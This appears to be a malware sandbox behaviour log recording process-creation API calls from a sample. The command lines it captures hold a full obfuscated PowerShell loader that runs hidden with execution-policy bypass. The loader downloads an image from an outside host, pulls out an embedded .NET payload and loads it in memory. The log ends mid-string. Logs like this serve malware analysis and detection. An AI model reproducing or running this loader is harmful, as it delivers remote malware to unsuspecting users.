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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2148
thread_handle: 0x00000570
process_identifier: 2144
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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QemdUcKwDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQBnDWKuQemdUcKHQDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKrDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBGDWKuQemdUcKGwDWKuQemdUcKYQBnDWKuQemdUcKC4DWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKOwDWKuQemdUcKkDWKuQemdUcKGIDWKuQemdUcKYQBzDWKuQemdUcKGUDWKuQemdUcKNgDWKuQemdUcK0DWKuQemdUcKEwDWKuQemdUcKZQBuDWKuQemdUcKGcDWKuQemdUcKdDWKuQemdUcKBoDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKPQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKZQBuDWKuQemdUcKGQDWKuQemdUcKSQBuDWKuQemdUcKGQDWKuQemdUcKZQB4DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLQDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKcwB0DWKuQemdUcKGEDWKuQemdUcKcgB0DWKuQemdUcKEkDWKuQemdUcKbgBkDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKQwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKD0DWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBUDWKuQemdUcKGUDWKuQemdUcKeDWKuQemdUcKB0DWKuQemdUcKC4DWKuQemdUcKUwB1DWKuQemdUcKGIDWKuQemdUcKcwB0DWKuQemdUcKHIDWKuQemdUcKaQBuDWKuQemdUcKGcDWKuQemdUcKKDWKuQemdUcKDWKuQemdUcKkDWKuQemdUcKHMDWKuQemdUcKdDWKuQemdUcKBhDWKuQemdUcKHIDWKuQemdUcKdDWKuQemdUcKBJDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKHgDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCQDWKuQemdUcKYgBhDWKuQemdUcKHMDWKuQemdUcKZQDWKuQemdUcK2DWKuQemdUcKDQDWKuQemdUcKTDWKuQemdUcKBlDWKuQemdUcKG4DWKuQemdUcKZwB0DWKuQemdUcKGgDWKuQemdUcKKQDWKuQemdUcK7DWKuQemdUcKCQDWKuQemdUcKYwBvDWKuQemdUcKG0DWKuQemdUcKbQBhDWKuQemdUcKG4DWKuQemdUcKZDWKuQemdUcKBCDWKuQemdUcKHkDWKuQemdUcKdDWKuQemdUcKBlDWKuQemdUcKHMDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKWwBTDWKuQemdUcKHkDWKuQemdUcKcwB0DWKuQemdUcKGUDWKuQemdUcKbQDWKuQemdUcKuDWKuQemdUcKEMDWKuQemdUcKbwBuDWKuQemdUcKHYDWKuQemdUcKZQByDWKuQe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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000578
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = 'JDWKuQemdUcKBpDWKuQemdUcKG0DWKuQemdUcKYQBnDWKuQemdUcKGUDWKuQemdUcKVQByDWKuQemdUcKGwDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKJwBoDWKuQemdUcKHQDWKuQemdUcKdDWKuQemdUcKBwDWKuQemdUcKHMDWKuQemdUcKOgDWKuQemdUcKvDWKuQemdUcKC8DWKuQemdUcKdQBwDWKuQemdUcKGwDWKuQemdUcKbwBhDWKuQemdUcKGQDWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBuDWKuQemdUcKHMDWKuQemdUcKLgBjDWKuQemdUcKG8DWKuQemdUcKbQDWKuQemdUcKuDWKuQemdUcKGIDWKuQemdUcKcgDWKuQemdUcKvDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBzDWKuQemdUcKC8DWKuQemdUcKMDWKuQemdUcKDWKuQemdU